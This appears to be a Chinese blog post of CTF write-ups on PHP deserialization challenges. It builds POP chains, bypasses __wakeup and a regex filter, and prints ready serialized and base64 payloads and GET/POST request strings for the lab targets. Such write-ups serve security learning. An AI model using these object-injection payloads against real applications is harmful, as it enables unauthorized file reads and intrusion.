php反序列化题目

[NewStarCTF 公开赛赛道]UnserializeOne

分析代码,最终需要调用到   file_get_contents 即可获得flag
从后往前分析

触发 __invoke 需要 以调用函数的方式调用一个对象
可以找到Start类 里的__isset中可以将类当作函数调用

所以需要调用到 __isset  就需要 isset() 或 empty() ,可以发现在 eeee类中存在
又需要调用 __clone  方法,当对象被复制时调用,
再继续找,可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件
这又需要去调用到 __call 方法,在对象中调用一个不可访问方法时,__call() 会被调用
可以发现在 Sec 类 中  使用了一个 check()方法,但是这个方法是不存在的,正好满足__call() 的条件,这又需要调用到 __toString 方法,一个类被当成字符串时被调用,
可以在Start类中发现,将 $name 实例化为一个类就可满足类被当作字符串使用

 

这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用,这样就可以串起来了

Start类 - __destruct  --->  Sec类- __toString  --->  Easy类 -__call  ---> eeee类-__clone
   ---> Start类- __isset  ---> Sec 类- __invoke --->file_get_contents

链子出来了,就需要去本地构造序列化了

<?php

class Start{

    public $name;

    public $func;

}

class Sec{

    public $obj;

    public $var;

}

class Easy{

    public $cla;

}

class eeee{

    public $obj;

}

尝试了几次失败的,构造的有点问题

// $a=new Start(new Sec(new Easy(new eeee(new Start(new Sec())))));

// O:5:"Start":2:{s:4:"name";N;s:4:"func";N;}

// $a=new Start();

// $a->name=new Sec();

// $a->name->obj=new Easy(new eeee(new Start(new Sec())));

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";N;}s:4:"func";N;}

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->var=new eeee();

$a->name->var->obj=new Start();

$a->name->var->obj->func=new Sec();

echo serialize($a);

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

最后这个可以成功得到flag

Web_php_unserialize

需要绕过的点:
__wakeup 绕过 : 修改序列化字符串中属性的数量,使其比实际属性数量多

preg_match('/[oc]:\d+:/i', $var):表示匹配o或c加冒号加任意数字的形式
绕过:在数字前面加上 + 即可绕过

因为需要  base64编码 代码里面使用了private 又麻烦了点,不能直接序列化后改,

使用函数去改

<?php

class Demo { 
    private $file = 'index.php';
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b=str_replace('O:','O:+',$b);
$b=str_replace('s:','s:+',$b);
$b=str_replace('"Demo":1','"Demo":2',$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9

?var=TzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9

unserialize3

绕过__wakeup  :  修改序列化字符串中属性的数量,使其比实际属性数量多

<?php


class xctf{
public $flag = '111';
}
$a= new xctf();
$a=serialize($a);
echo $a;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

BUU CODE REVIEW 1

关键点在于要使 $correct === $input  但是每次执行 $ccorrect 都会被赋予一个新的量,
所以使用  & 符号   使$input指向$correct 的地址,就能保证它们的值相等,因为都是指向的同一个地址,是同一个值

<?php

class BUU {
    public $correct = "";
    public $input = "";
 }

 $a=new BUU();
 $a->input=&$a->correct;

 echo serialize($a);
 //O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后就是 md5的弱比较,直接传数组比较简单
GET:   ?pleaseget=1

POST:  pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/524001.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Steam上线真人乙游,女性玩家还愿意买单吗?

Steam上线了一款真人乙游《糟糕&#xff01;他们太爱我了怎么办&#xff1f;》&#xff08;以下简称《糟糕&#xff01;&#xff09;。 乍一听这个游戏名&#xff0c;似乎和《完蛋&#xff01;我被美女包围了&#xff01;》有异曲同工之妙&#xff0c;事实也确实如此&#xff…

实现通讯录(顺序表版本)

一、功能要求 &#xff08;1&#xff09;⾄少能够存储100个⼈的通讯信息 &#xff08;2&#xff09;能够保存⽤⼾信息&#xff1a;名字、性别、年龄、电话、地址等 &#xff08;3&#xff09;增加联系⼈信息 &#xff08;4&#xff09;删除指定联系⼈ &#xff08;5&#…

国内:深圳交通流量数据集

数据来源&#xff1a;深圳政府数据开放平台&#xff08;深圳市政府数据开放平台&#xff09;&#xff0c;这个官网上还有其他类数据集&#xff0c;值得收藏&#xff01;&#xff01;&#xff01; 数据集介绍&#xff1a;宝安区-G4高速西乡大道入口车流量统计 第一行每列的标题…

什么是超导悬浮?工作原理是什么?

某些材料在冷却到某个温度&#xff08;也称为“临界温度”&#xff09;以下时会完全失去电阻。 1910 年&#xff0c;一位名叫 Heike Kamerlingh Onnes 的荷兰物理学家发现了这一现象。他注意到低于一定温度时电阻突然下降&#xff0c;然后他大胆地声称发现了一种新的物质状态&a…

字符串处理

读取 先定义&#xff1a; char ch[100];string s; cin>>s或cin>>ch以空格或换行符结束gets(ch);//gets只能读字符数组&#xff0c;不能直接读字符串stringgets和getline会把第一次出现的换行符及先前的字符串读进去&#xff08;包括空格&#xff09;&#xff0…

利用Flutter框架实现iOS应用的跨平台发布策略

本文探讨了使用Flutter开发的iOS应用能否上架&#xff0c;以及上架的具体流程。苹果提供了App Store作为正式上架渠道&#xff0c;同时也有TestFlight供开发者进行内测。合规并通过审核后&#xff0c;Flutter应用可以顺利上架。但上架过程可能存在一些挑战&#xff0c;因此可能…

【Linux】正则表达式实验操作实例

正则表达式是一种强大的工具&#xff0c;用于在文本中查找、匹配和替换特定的字符串模式。 实验目的 掌握正则表达式的表达方式掌握grep/egrep命令的用法掌握sed 命令的用法掌握awk命令的用法 正则表达式 实验目的实验内容实验过程创建grep文件来进行如下操作用sed命令完成下列…

HAL STM32 定时器PWM DMA输出方式

HAL STM32 定时器PWM DMA输出方式 &#x1f9e8;遗留问题&#xff1a;当配置RCR重复计数器&#xff0c;配置为2时&#xff0c;在定义了3组PWM参数情况下&#xff0c;只能输出第二组参数的PWM波形。&#xff08;HAL_TIM_PWM_Start_DMA(&htim1, TIM_CHANNEL_1, aCCValue_Buff…

Java中网络编程,Junit单元测试详解

文章目录 软件结构C/S结构B/S结构 概述三要素IP &#xff08;银行的位置&#xff09;端口 (银行中某个柜台号)协议 (填写取款单的规则)TCP通信程序TCP通信原理客户端发送数据服务端接收数据过程图三次握手 Junit单元测试概述常见的注解使用断言概述使用 软件结构 C/S结构 客户…

怀俄明探空站数据解算PWV和Tm

1. Matlab 获取代码可关注公众号WZZHHH回复&#xff08;怀俄明探空站数据解算PWV和Tm&#xff09;&#xff0c;或者咸鱼关注&#xff1a;WZZHHH123 怀俄明探空站数据解算PWV和Tm&#xff1a; 有关 Matlab 获取代码可关注公众号WZZHHH回复&#xff08;怀俄明多线程下载&#…

mysql_secure_installation初始化数据库报Access denied

使用mysql_secure_installation配置时出错&#xff1a; 可能输入密码错误&#xff0c;重新复制&#xff0c;粘贴密码。 或者&#xff1a; 登录mysql&#xff0c;设置密码&#xff0c;然后再设置权限。 mysql -u root -p [输入密码] sql>set passwordpassword("newPa…

数据同步工具datax安装配置与示例

文章目录 一、部署步骤1、jdk环境2、python环境步骤一&#xff1a;安装方式一&#xff1a;官网下载安装包方式二&#xff1a;brew命令安装 步骤二&#xff1a;配置环境变量步骤三&#xff1a;验证 3、maven环境&#xff08;可选&#xff09; 二、下载安装datax1、下载datax源码…

100 个网络基础知识,看完成半个网络高手

100 个网络基础知识&#xff0c;看完成半个网络高手。 1)什么是链接? 链接是指两个设备之间的连接。它包括用于一个设备能够与另一个设备通信的电缆类型和协议。 2)OSI 参考模型的层次是什么? 有 7 个 OSI 层&#xff1a;物理层&#xff0c;数据链路层&#xff0c;网络层&…

入门微调预训练Transformer模型

大家好&#xff0c;HuggingFace 为众多开源的自然语言处理&#xff08;NLP&#xff09;模型提供了强大的支持平台&#xff0c;让这些模型能够通过训练和微调来更好地服务于各种特定的应用场景。在大型语言模型&#xff08;LLM&#xff09;迅猛发展的今天&#xff0c;HuggingFac…

配置vscode用于STM32编译,Debug

配置环境参考&#xff1a; Docs 用cubemx配置工程文件&#xff0c;用VScode打开工程文件。 编译的时候会有如下报错&#xff1a; vscode出现process_begin :CreateProcess failed 系统找不到指定文件 解决方案&#xff1a;在你的makefile中加上SHELLcmd.exe就可以了 参考…

数据库系统

三级模式 外模式 数据库的用户使用的局部数据的逻辑结构和特征的描述数据库用户的数据视图&#xff0c;是与某一应用程序有关的数据的逻辑表示。 概念模式 它是数据库中全体数据的逻辑结构和特征的描述&#xff1b;模式是所有用户的公共数据视图。因为数据库是多人共享使用的&…

CICD流水线 发布公用jar到maven私仓

3.1 发布公用jar到Maven私仓 1.选择流水线 2.新建流水线 3.选择模版 4.选择代码仓库 5. 调整构建命令 6.新增一个新阶段为 ”发送通知“&#xff0c;这里以邮件通知为例&#xff0c;保存之后&#xff0c;运行该流水线&#xff0c;对应jar就会自动发到我们私仓&#xff0c;并之…

春招-实战项目冲刺直播课

春招-实战项目冲刺直播课 CCtalk 丰富多元的综合内容平台-专业的知识分享与在线教育平台https://www.cctalk.com/m/group/91161801

CTF之社工-初步收集

题目就一个刷钻网站&#xff08;假的&#xff09; 扫描一下目录 发现还有一个登录界面 时间多的可以爆破一下&#xff08;反正我爆不出来&#xff09;&#xff0c;接着我们下载那个压缩包看看 发现是一个钓鱼小软件 没发现什么有用的信息那我们就去wireshark看看数据包喽&#…

winform 等待加载窗体

winform 等待加载窗体 当我们查询sql语句或处理大量的数据时&#xff0c;为了防止界面假死状态&#xff0c;可以加一个等待窗体过渡一下。 1. 新建一个主窗体&#xff0c;一个等待窗体frmLoading 2. 给等待窗体增加一个动态图片 3. 在主窗体中调用 namespace winformLoading…